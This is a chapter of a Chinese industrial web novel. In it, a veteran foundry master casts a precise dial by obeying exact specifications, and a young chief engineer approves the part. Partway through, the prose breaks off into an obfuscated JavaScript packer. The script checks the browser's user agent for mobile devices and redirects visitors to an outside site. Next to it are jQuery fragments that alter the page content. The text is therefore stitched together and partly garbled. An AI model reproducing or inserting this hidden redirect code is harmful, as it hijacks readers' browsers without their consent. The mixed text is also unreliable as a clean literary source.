时间，在铸造车间里仿佛凝固成了一块沉重而滚烫的琥珀。
熔炉的轰鸣退居为遥远的背景音，所有人的听觉、视觉、乃至每一寸皮肤的感知，都死死地聚焦于那只静静冷却的石膏模具。
它躺在砂箱中，由内而外地散发着惊人的热量，将周围的空气都炙烤得微微扭曲，像一道隔绝现实的屏障。
没有人说话。
没有人走动。
甚至连呼吸，都变得小心翼翼，仿佛任何一丝多余的振动，都会惊扰模具内那个正在发生的、神圣而脆弱的嬗变。
江建国就站在离模具最近的地方，如同一尊风干的雕像。
他花白的头发被热浪吹得凌乱，身上的蓝色工装早已被汗水浸透，紧紧地贴在干瘦的脊背上，勾勒出嶙峋的骨骼形状。
他的双眼，一眨不眨地盯着那块平平无奇的石膏，眼神中不再有先前的疯狂与暴怒，只剩下一种被掏空了所有情绪之后的、近乎麻木的专注。
他在等待一场审判。
一场对他过去数十年职业生涯的终极审判。
这一次，他放弃了自己的一切，将所有的骄傲、经验、直觉都当作废铁，连同那个失败的铸件一起，亲手扔进了熔炉。
他变成了一个最虔诚、最卑微的执行者，像一个初入门的学徒，战战兢兢地遵循着图纸上那些冰冷的、陌生的数字。
1400摄氏度。
1．2％的收缩率。
HT250的精确配比。
这些数字，此刻在他的脑海中盘旋、尖啸，组成了一套他前所未闻的、冷酷而陌生的法则。
如果这一次依旧失败，那么被击碎的，将不仅仅是他的职业生涯，而是他作为一个“人”的全部价值。
“时间……到了。”
一个年轻工人看了看墙上的挂钟，声音干涩得像是从砂纸上挤出来一样。
江建国僵硬的身体微微一动，仿佛生锈的齿轮终于被重新啮合。
他没有回头，只是从喉咙深处挤出一个字：“水。”
一桶冷水被抬了过来，工人们没有像往常那样直接浇上去，而是等待着江建国的指令。
江建国缓缓伸出手，掌心向上，在距离模具半米远的地方感受着那股辐射而出的热量。
他的动作，带着一种近乎宗教仪式的庄重。
许久，他才沉声开口。
“浇。”
“哗啦”冷水与灼热的石膏模具接触，瞬间爆发出大团浓烈的水蒸气，伴随着刺耳的“嘶嘶”声，整个车间顷刻间被白雾笼罩。
在这片伸手不见五指的迷雾中，所有人都屏住了呼吸。
他们等待着那声最熟悉的、也最恐惧的“咔嚓”声那是铸件因骤然冷却而产生应力，最终开裂的死亡宣判。
一秒。
两秒。
十秒。
寂静。
除了水蒸气消散的声音，车间里落针可闻。
那声预想中的、象征着彻底失败的碎裂声，始终没有响起。
当白雾渐渐散去，露出了那只依旧完整的、只是颜色变得斑驳灰白的石膏模具时，一阵压抑不住的、粗重的喘息声，在人群中此起彼伏。
还活着。
它还活着！
“开模。”
江建国的声音依旧沙哑，却多了一丝难以察觉的颤抖。
两名工人立刻上前，一人用铁钳稳稳地固定住模具，另一人则举起了铁锤。
他没有像上次那样随意敲击，而是目光凝重，小心翼翼地在模具的边缘，轻轻一磕。
一声轻响。
石膏外壳应声裂开一道细缝。
紧接着，是第二下，第三下。
工人的动作精准而克制，像是在剥开一枚珍贵的蛋。
随着一块块石膏被剥落，那个凝聚了所有人希望与恐惧的刻度盘，终于再次露出了它的真容。
它通体呈现出一种均匀的、带着金属光泽的青灰色。
表面依旧粗糙，却再无上次那种因高温而产生的细小裂纹。
最重要的是，外圈那排米粒大小的精密齿轮，每一个都轮廓清晰，形态完整，仿佛一支排列整齐的、沉默的军队。
它静静地躺在那里，完美得像一个工业神迹。
然而，这一次，车间里没有爆发出任何欢呼。
取而代之的，是一种更为深沉的、令人头皮发麻的震撼。
所有人都死死地盯着那个铸件，又下意识地抬头，看了一眼墙上贴着的那张图纸。
他们的目光在实物与数据之间来回移动，眼神里充满了敬畏与迷茫。
成功了。
在他们放弃了自己引以为傲的“手艺”，转而像机器一样去服从那些枯燥的数字之后，成功就这么理所当然地到来了。
这个结果，比任何失败都更让他们感到灵魂上的战栗。
江建国缓缓走上前，蹲下身。
他伸出那双布满了老茧和伤痕的手，想要去触摸那个铸件，却又在半空中停住，仿佛那不是一块冰冷的钢铁，而是一团燃烧的圣火。
他收回手，转身，用一种近乎梦呓的声音说道：“卡尺。”
铸造主任立刻将一把崭新的游标卡尺递了过去。
江建国接过卡尺，深吸了一口气。
他那双曾能徒手分辨出零点一毫米差距的手，此刻竟有些控制不住地微微颤抖。
他努力了两次，才将卡尺的主尺和游标，稳稳地卡在了刻度盘的外圆上。
车间里所有人都下意识地向前凑了一步，伸长了脖子，连大气都不敢喘。
他们的目光，全部聚焦在那小小的、闪烁着金属光泽的刻度线上。
江建国缓缓地，将卡尺举到眼前。
他的瞳孔，在那一瞬间，骤然收缩。
那根代表着“0”的游标刻度线，不偏不倚，与主尺上代表着标准尺寸的那条刻度线，完美地、严丝合缝地重合在了一起。
分毫不差。
他又去卡内孔。
结果，依旧是分毫不差！
“嗡”江建国的脑子里，像是有什么东西轰然炸开。
他丢下卡尺，双手颤抖着，终于捧起了那块尚有余温的刻度盘。
他用指腹，轻轻地、一遍又一遍地摩挲着那些精密而冰冷的齿轮。
那完美的尺寸，那精确的形态，都在通过指尖的触感，向他传递着一个颠覆性的、不容置疑的真理。
他错了。
他过去几十年所信奉的一切，都错了。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366112|183469||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
真正的工业，不是一门手艺，不是一种经验，更不是一门可以凭感觉去揣摩的艺术。
它是一门科学。
一门由数字、公式和标准构筑的，冰冷、严苛，却拥有着创世之力的科学。
两行滚烫的液体，毫无征兆地从这位老人干涸的眼眶中汹涌而出，顺着他脸颊上纵横交错的皱纹，滴落在那块完美的铸件上，瞬间蒸发，只留下一丝淡淡的水痕。
他没有哭出声，只是死死地抱着那块刻度盘，瘦削的肩膀剧烈地耸动着，像一个迷途了几十年终于找到信仰的孩子。
就在这时，那个熟悉而冷淡的声音，再次从车间门口传来。
“看来，你们总算学会了怎么跟钢铁讲道理。”
众人浑身一震，猛地回头。
只见路承舟不知何时已经站在了那里，神情一如既往的平静，仿佛眼前这足以载入红星厂史册的一幕，对他而言，不过是一件微不足道的小事。
他走了进来，从失魂落魄的江建国手中，自然而然地接过了那块刻度盘。
他没有用卡尺，而是从口袋里摸出了一把更精密的、读数更为苛刻的千分尺。
所有人的心，又一次提到了嗓子眼。
路承舟熟练地校准，然后开始对几个关键的齿轮厚度进行抽样检测。
他的动作行云流水，带着一种机械般的美感。
片刻后，他放下了千分尺。
“齿形轮廓度，还在公差范围的上限徘徊。”
他淡淡地评价道，“模具的细节处理，有待提高。”
一句话，让刚刚升起的一丝暖意，又被寒冰冻结。
但这一次，没有人感到**或不忿，所有人都下意识地挺直了腰杆，像是在聆听教诲的学生。
路承舟将刻度盘递还给铸造主任，语气里听不出一丝波澜。
“合格。”
“送到机加工车间，进行精加工。告诉他们，以此为基准，所有的同轴度、垂直度，都必须严格参照。”
说完，他便转身，准备离去。
“路总师！”
江建国忽然抬起头，叫住了他。
这位老人已经擦干了眼泪，他缓缓站直了身体，对着路承舟那年轻得过分的背影，深深地，深深地鞠下了一躬。
“谢谢你……给我们上了这一课。”
路承舟的脚步顿了顿，却没有回头。
“记住数据的重量。”
他留下这句话，身影便消失在了车间的门口。
铸造车间里，一片沉默。
许久之后，铸造主任才如梦初醒，他小心翼翼地，用最干净的绒布将那块刻度盘层层包裹起来，仿佛捧着一件稀世珍宝。
“走！”
他对着身边两个最得力的干将低吼一声，“我们亲自给机加工车间送过去！”
当这块承载着全新秩序的“基准”被护送出去时，工装设计室的门，也“吱呀”一声被推开。
刘师傅拖着灌了铅一样的双腿走了出来，他双眼通红，形容枯槁，手里却紧紧攥着一张刚刚完成的、墨迹未干的图纸。
图纸的标题栏里，一排挺拔的仿宋字，在黎明的微光中，显得格外醒目：【强心柴油机曲轴总成图（公坐标准01版）】